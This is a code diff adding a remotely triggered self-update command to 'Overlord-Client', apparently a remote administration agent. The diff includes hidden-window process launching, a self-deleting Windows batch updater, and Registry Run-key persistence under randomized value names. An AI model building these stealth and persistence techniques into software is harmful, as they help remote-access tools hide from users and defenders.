improve updating

Overlord-Client/cmd/agent/handlers/agent_update.go

@@ -0,0 +1,141 @@
+package handlers
+
+import (
+	"context"
+	"fmt"
+	"io"
+	"log"
+	"os"
+	"path/filepath"
+	"strings"
+	"time"
+
+	"overlord-client/cmd/agent/persistence"
+	agentRuntime "overlord-client/cmd/agent/runtime"
+	"overlord-client/cmd/agent/wire"
+)
+
+func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string, sourcePath string) error {
+	sourcePath = strings.TrimSpace(sourcePath)
+	if sourcePath == "" {
+		return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing update path"})
+	}
+
+	sourceAbs, err := filepath.Abs(sourcePath)
+	if err != nil {
+		return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: fmt.Sprintf("invalid update path: %v", err)})
+	}
+	if err := ensureRegularFileOnDisk(sourceAbs); err != nil {
+		return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
+	}
+
+	if err := wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}); err != nil {
+		return err
+	}
+
+	go func() {
+		// Let the command_result flush before beginning process replacement.
+		time.Sleep(250 * time.Millisecond)
+		if err := runAgentUpdate(sourceAbs, env.Cfg.EnablePersistence); err != nil {
+			log.Printf("agent_update: %v", err)
+			return
+		}
+		os.Exit(0)
+	}()
+
+	return nil
+}
+
+func resolveCurrentExecutableOnDisk() (string, error) {
+	exePath, err := os.Executable()
+	if err != nil {
+		return "", fmt.Errorf("failed to resolve current executable: %w", err)
+	}
+	if realPath, err := filepath.EvalSymlinks(exePath); err == nil {
+		exePath = realPath
+	}
+	absPath, err := filepath.Abs(exePath)
+	if err != nil {
+		return "", fmt.Errorf("failed to resolve absolute executable path: %w", err)
+	}
+	if err := ensureRegularFileOnDisk(absPath); err != nil {
+		return "", fmt.Errorf("current executable is not a regular on-disk file: %w", err)
+	}
+	return absPath, nil
+}
+
+func ensureRegularFileOnDisk(path string) error {
+	info, err := os.Stat(path)
+	if err != nil {
+		return fmt.Errorf("file %q is not available on disk: %w", path, err)
+	}
+	if !info.Mode().IsRegular() {
+		return fmt.Errorf("file %q is not a regular file", path)
+	}
+	return nil
+}
+
+func copyExecutableAtomic(sourcePath string, targetPath string) error {
+	srcFile, err := os.Open(sourcePath)
+	if err != nil {
+		return fmt.Errorf("failed to open source executable: %w", err)
+	}
+	defer srcFile.Close()
+
+	dir := filepath.Dir(targetPath)
+	if err := os.MkdirAll(dir, 0755); err != nil {
+		return fmt.Errorf("failed to create target directory: %w", err)
+	}
+
+	tmpFile, err := os.CreateTemp(dir, "agent-update-*.tmp")
+	if err != nil {
+		return fmt.Errorf("failed to create temp executable: %w", err)
+	}
+	tmpPath := tmpFile.Name()
+	defer func() {
+		_ = tmpFile.Close()
+		_ = os.Remove(tmpPath)
+	}()
+
+	if _, err := io.Copy(tmpFile, srcFile); err != nil {
+		return fmt.Errorf("failed to copy executable: %w", err)
+	}
+	if err := tmpFile.Sync(); err != nil {
+		return fmt.Errorf("failed to sync executable: %w", err)
+	}
+	if err := tmpFile.Close(); err != nil {
+		return fmt.Errorf("failed to close temp executable: %w", err)
+	}
+
+	if err := os.Rename(tmpPath, targetPath); err != nil {
+		if removeErr := os.Remove(targetPath); removeErr == nil {
+			if retryErr := os.Rename(tmpPath, targetPath); retryErr == nil {
+				return nil
+			}
+		}
+		return fmt.Errorf("failed to replace executable at %s: %w", targetPath, err)
+	}
+	return nil
+}
+
+func startupTargetPath(enablePersistence bool) (string, bool, error) {
+	if !enablePersistence {
+		return "", false, nil
+	}
+	targetPath, err := persistence.TargetPath()
+	if err != nil {
+		return "", false, fmt.Errorf("failed to resolve startup target path: %w", err)
+	}
+	targetPath, err = filepath.Abs(targetPath)
+	if err != nil {
+		return "", false, fmt.Errorf("failed to resolve startup target absolute path: %w", err)
+	}
+	return targetPath, true, nil
+}
+
+func samePath(left string, right string) bool {
+	if left == "" || right == "" {
+		return false
+	}
+	return samePathByOS(left, right)
+}

Overlord-Client/cmd/agent/handlers/agent_update_unix.go

@@ -0,0 +1,57 @@
+//go:build !windows
+// +build !windows
+
+package handlers
+
+import (
+	"fmt"
+	"os"
+	"path/filepath"
+
+	"overlord-client/cmd/agent/persistence"
+)
+
+func samePathByOS(left string, right string) bool {
+	return filepath.Clean(left) == filepath.Clean(right)
+}
+
+func runAgentUpdate(sourcePath string, enablePersistence bool) error {
+	currentExe, currentErr := resolveCurrentExecutableOnDisk()
+	startupPath, startupEnabled, err := startupTargetPath(enablePersistence)
+	if err != nil {
+		return err
+	}
+
+	if currentErr != nil && !startupEnabled {
+		return currentErr
+	}
+
+	restartPath := currentExe
+	if startupEnabled {
+		restartPath = startupPath
+	}
+	if restartPath == "" {
+		return fmt.Errorf("no restart path available for update")
+	}
+
+	if startupEnabled {
+		if err := copyExecutableAtomic(sourcePath, startupPath); err != nil {
+			return err
+		}
+		if err := persistence.Configure(startupPath); err != nil {
+			return fmt.Errorf("failed to refresh startup entry: %w", err)
+		}
+	}
+
+	if currentErr == nil && !samePath(currentExe, restartPath) {
+		if err := copyExecutableAtomic(sourcePath, currentExe); err != nil {
+			return err
+		}
+	}
+	_ = os.Remove(sourcePath)
+
+	if err := startSilentProcess(restartPath, nil, "", true); err != nil {
+		return fmt.Errorf("failed to launch updated agent: %w", err)
+	}
+	return nil
+}

Overlord-Client/cmd/agent/handlers/agent_update_windows.go

@@ -0,0 +1,178 @@
+//go:build windows
+// +build windows
+
+package handlers
+
+import (
+	"fmt"
+	"log"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"strings"
+	"syscall"
+
+	"golang.org/x/sys/windows"
+
+	"overlord-client/cmd/agent/persistence"
+)
+
+func samePathByOS(left string, right string) bool {
+	return strings.EqualFold(filepath.Clean(left), filepath.Clean(right))
+}
+
+func runAgentUpdate(sourcePath string, enablePersistence bool) error {
+	currentExe, currentErr := resolveCurrentExecutableOnDisk()
+	startupPath, startupEnabled, err := startupTargetPath(enablePersistence)
+	if err != nil {
+		return err
+	}
+
+	log.Printf("agent_update[win]: source=%q persistence=%v currentExe=%q currentErr=%v startupEnabled=%v startupPath=%q", sourcePath, enablePersistence, currentExe, currentErr, startupEnabled, startupPath)
+
+	if currentErr != nil && !startupEnabled {
+		return currentErr
+	}
+
+	restartPath := currentExe
+	if startupEnabled {
+		restartPath = startupPath
+	}
+
+	if restartPath == "" {
+		return fmt.Errorf("no restart path available for update")
+	}
+
+	if startupEnabled {
+		// Keep startup binary in sync when persistence/startup is enabled.
+		if !samePath(startupPath, currentExe) {
+			if err := copyExecutableAtomic(sourcePath, startupPath); err != nil {
+				return err
+			}
+		}
+		if err := persistence.Configure(startupPath); err != nil {
+			return fmt.Errorf("failed to refresh startup entry: %w", err)
+		}
+	}
+
+	if currentErr != nil {
+		log.Printf("agent_update[win]: current executable unavailable, using deferred updater for %q", restartPath)
+		return launchDeferredUpdateScript(sourcePath, restartPath)
+	}
+
+	if shouldLaunchUploadedBinaryDirectly(currentExe, startupEnabled) {
+		log.Printf("agent_update[win]: current executable appears transient (%q), launching uploaded binary directly: %q", currentExe, sourcePath)
+		if err := startSilentProcess(sourcePath, nil, "", true); err != nil {
+			return fmt.Errorf("failed to launch uploaded binary directly: %w", err)
+		}
+		return nil
+	}
+
+	if samePath(currentExe, restartPath) {
+		log.Printf("agent_update[win]: target equals running executable, using deferred updater for %q", restartPath)
+		return launchDeferredUpdateScript(sourcePath, restartPath)
+	}
+
+	if err := copyExecutableAtomic(sourcePath, restartPath); err != nil {
+		return err
+	}
+	_ = os.Remove(sourcePath)
+
+	if err := startSilentProcess(restartPath, nil, "", true); err != nil {
+		return fmt.Errorf("failed to launch updated agent: %w", err)
+	}
+	log.Printf("agent_update[win]: started updated executable directly: %q", restartPath)
+	return nil
+}
+
+func launchDeferredUpdateScript(sourcePath string, targetPath string) error {
+	scriptPath, debugLogPath, err := writeDeferredUpdateBatch(sourcePath, targetPath)
+	if err != nil {
+		return err
+	}
+
+	cmdLine := fmt.Sprintf("\"%s\"", scriptPath)
+	cmd := exec.Command("cmd.exe", "/D", "/Q", "/C", cmdLine)
+	cmd.Dir = filepath.Dir(scriptPath)
+	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
+	log.Printf("agent_update[win]: deferred updater script=%q debugLog=%q cmd=%q args=%v", scriptPath, debugLogPath, cmd.Path, cmd.Args)
+	if err := cmd.Start(); err != nil {
+		return fmt.Errorf("failed to start deferred updater: %w", err)
+	}
+	log.Printf("agent_update[win]: deferred updater launched")
+	return nil
+}
+
+func writeDeferredUpdateBatch(sourcePath string, targetPath string) (string, string, error) {
+	tmpFile, err := os.CreateTemp("", "overlord-update-*.bat")
+	if err != nil {
+		return "", "", fmt.Errorf("failed to create deferred updater batch file: %w", err)
+	}
+	defer tmpFile.Close()
+
+	debugLogPath := strings.TrimSpace(os.Getenv("OVERLORD_UPDATE_DEBUG_LOG"))
+	if debugLogPath == "" {
+		debugLogPath = filepath.Join(os.TempDir(), fmt.Sprintf("overlord-update-%d.log", os.Getpid()))
+	}
+
+	sourceVar := escapeBatchSetValue(sourcePath)
+	targetVar := escapeBatchSetValue(targetPath)
+	debugLogVar := escapeBatchSetValue(debugLogPath)
+
+	// Retry copy for a few seconds to survive file-lock timing races during process shutdown.
+	script := strings.Join([]string{
+		"@echo off",
+		"setlocal DisableDelayedExpansion",
+		"set \"SRC=" + sourceVar + "\"",
+		"set \"DST=" + targetVar + "\"",
+		"set \"LOG=" + debugLogVar + "\"",
+		"set \"COPIED=0\"",
+		"echo ==== overlord deferred update ==== >> \"%LOG%\"",
+		"echo script=%~f0 >> \"%LOG%\"",
+		"echo src=%SRC% >> \"%LOG%\"",
+		"echo dst=%DST% >> \"%LOG%\"",
+		"echo start_time=%DATE% %TIME% >> \"%LOG%\"",
+		"timeout /t 2 /nobreak >NUL",
+		"for /L %%I in (1,1,8) do (",
+		"  echo copy_attempt=%%I >> \"%LOG%\"",
+		"  copy /Y \"%SRC%\" \"%DST%\" >> \"%LOG%\" 2>&1 && (set \"COPIED=1\" & goto copied)",
+		"  timeout /t 1 /nobreak >NUL",
+		")",
+		":copied",
+		"if \"%COPIED%\"==\"1\" (",
+		"  echo copy_success=1 >> \"%LOG%\"",
+		"  start \"\" \"%DST%\" >> \"%LOG%\" 2>&1",
+		") else (",
+		"  echo copy_success=0 >> \"%LOG%\"",
+		")",
+		"del /F /Q \"%SRC%\" >> \"%LOG%\" 2>&1",
+		"echo end_time=%DATE% %TIME% >> \"%LOG%\"",
+		"del /F /Q \"%~f0\" >NUL 2>&1",
+		"exit /b 0",
+	}, "\r\n") + "\r\n"
+
+	if _, err := tmpFile.WriteString(script); err != nil {
+		return "", "", fmt.Errorf("failed to write deferred updater batch file: %w", err)
+	}
+
+	log.Printf("agent_update[win]: wrote deferred updater script=%q debugLog=%q", tmpFile.Name(), debugLogPath)
+
+	return tmpFile.Name(), debugLogPath, nil
+}
+
+func escapeBatchSetValue(value string) string {
+	// In SET statements, double % avoids environment expansion at parse time.
+	return strings.ReplaceAll(value, "%", "%%")
+}
+
+func shouldLaunchUploadedBinaryDirectly(currentExe string, startupEnabled bool) bool {
+	if startupEnabled {
+		return false
+	}
+	clean := strings.ToLower(filepath.Clean(currentExe))
+	tempRoot := strings.ToLower(filepath.Clean(os.TempDir()))
+	if strings.Contains(clean, `\go-build`) {
+		return true
+	}
+	return strings.HasPrefix(clean, tempRoot+`\`)
+}

Overlord-Client/cmd/agent/handlers/command.go

@@ -1415,6 +1415,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 		payload, _ := envelope["payload"].(map[string]interface{})
 		path, _ := payload["path"].(string)
 		return HandleFileExecute(ctx, env, cmdID, path)
+	case "agent_update":
+		payload, _ := envelope["payload"].(map[string]interface{})
+		path, _ := payload["path"].(string)
+		return HandleAgentUpdate(ctx, env, cmdID, path)
 	case "process_list":
 		return HandleProcessList(ctx, env, cmdID)
 	case "process_kill":

Overlord-Client/cmd/agent/persistence/persistence_windows.go

@@ -4,16 +4,20 @@
 package persistence
 
 import (
+	"crypto/rand"
+	"encoding/hex"
 	"fmt"
 	"io"
 	"os"
 	"path/filepath"
+	"strings"
 
 	"golang.org/x/sys/windows/registry"
 )
 
 const registryKey = `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`
-const registryValueName = "OverlordAgent"
+const legacyRegistryValueName = "OverlordAgent"
+const registryValuePrefix = "OverlordAgent-"
 
 func formatRunRegistryCommand(exePath string) string {
 	trimmed := filepath.Clean(exePath)
@@ -54,8 +58,7 @@ func install(exePath string) error {
 	}
 	defer k.Close()
 
-	err = k.SetStringValue(registryValueName, formatRunRegistryCommand(targetPath))
-	if err != nil {
+	if err := setStartupRunValue(k, targetPath); err != nil {
 		return fmt.Errorf("failed to set registry value: %w", err)
 	}
 
@@ -109,7 +112,7 @@ func configure(exePath string) error {
 	}
 	defer k.Close()
 
-	if err := k.SetStringValue(registryValueName, formatRunRegistryCommand(exePath)); err != nil {
+	if err := setStartupRunValue(k, exePath); err != nil {
 		return fmt.Errorf("failed to set registry value: %w", err)
 	}
 
@@ -124,9 +127,8 @@ func uninstall() error {
 	}
 	defer k.Close()
 
-	err = k.DeleteValue(registryValueName)
-	if err != nil && err != registry.ErrNotExist {
-		return fmt.Errorf("failed to delete registry value: %w", err)
+	if err := cleanupOverlordRunValues(k); err != nil {
+		return fmt.Errorf("failed to clean startup registry values: %w", err)
 	}
 
 	appDataDir := os.Getenv("APPDATA")
@@ -138,3 +140,48 @@ func uninstall() error {
 
 	return nil
 }
+
+func setStartupRunValue(k registry.Key, exePath string) error {
+	if err := cleanupOverlordRunValues(k); err != nil {
+		return err
+	}
+
+	name, err := generateStartupValueName()
+	if err != nil {
+		return err
+	}
+
+	return k.SetStringValue(name, formatRunRegistryCommand(exePath))
+}
+
+func cleanupOverlordRunValues(k registry.Key) error {
+	names, err := k.ReadValueNames(0)
+	if err != nil {
+		return err
+	}
+
+	for _, name := range names {
+		if isOverlordRunValueName(name) {
+			if err := k.DeleteValue(name); err != nil && err != registry.ErrNotExist {
+				return err
+			}
+		}
+	}
+
+	return nil
+}
+
+func isOverlordRunValueName(name string) bool {
+	if strings.EqualFold(name, legacyRegistryValueName) {
+		return true
+	}
+	return strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix))
+}
+
+func generateStartupValueName() (string, error) {
+	b := make([]byte, 6)
+	if _, err := rand.Read(b); err != nil {
+		return "", fmt.Errorf("failed to generate startup value name: %w", err)
+	}
+	return registryValuePrefix + hex.EncodeToString(b), nil
+}

Overlord-Client/cmd/agent/persistence/persistence_windows_test.go

@@ -3,7 +3,10 @@
 
 package persistence
 
-import "testing"
+import (
+	"strings"
+	"testing"
+)
 
 func TestFormatRunRegistryCommand_QuotesUnquotedPath(t *testing.T) {
 	in := `C:\Users\Test User\AppData\Roaming\Overlord\agent.exe`
@@ -21,3 +24,38 @@ func TestFormatRunRegistryCommand_LeavesQuotedPath(t *testing.T) {
 		t.Fatalf("expected %q, got %q", in, got)
 	}
 }
+
+func TestGenerateStartupValueName(t *testing.T) {
+	name, err := generateStartupValueName()
+	if err != nil {
+		t.Fatalf("generateStartupValueName failed: %v", err)
+	}
+	if !strings.HasPrefix(name, registryValuePrefix) {
+		t.Fatalf("expected prefix %q, got %q", registryValuePrefix, name)
+	}
+	if len(name) != len(registryValuePrefix)+12 {
+		t.Fatalf("expected random suffix length 12, got name=%q", name)
+	}
+}
+
+func TestIsOverlordRunValueName(t *testing.T) {
+	tests := []struct {
+		name string
+		in   string
+		want bool
+	}{
+		{name: "Legacy", in: "OverlordAgent", want: true},
+		{name: "LegacyCaseInsensitive", in: "overlordagent", want: true},
+		{name: "Randomized", in: "OverlordAgent-a1b2c3d4e5f6", want: true},
+		{name: "RandomizedCaseInsensitive", in: "overlordagent-deadbeefcafe", want: true},
+		{name: "OtherApp", in: "OneDrive", want: false},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			if got := isOverlordRunValueName(tt.in); got != tt.want {
+				t.Fatalf("isOverlordRunValueName(%q)=%v, want %v", tt.in, got, tt.want)
+			}
+		})
+	}
+}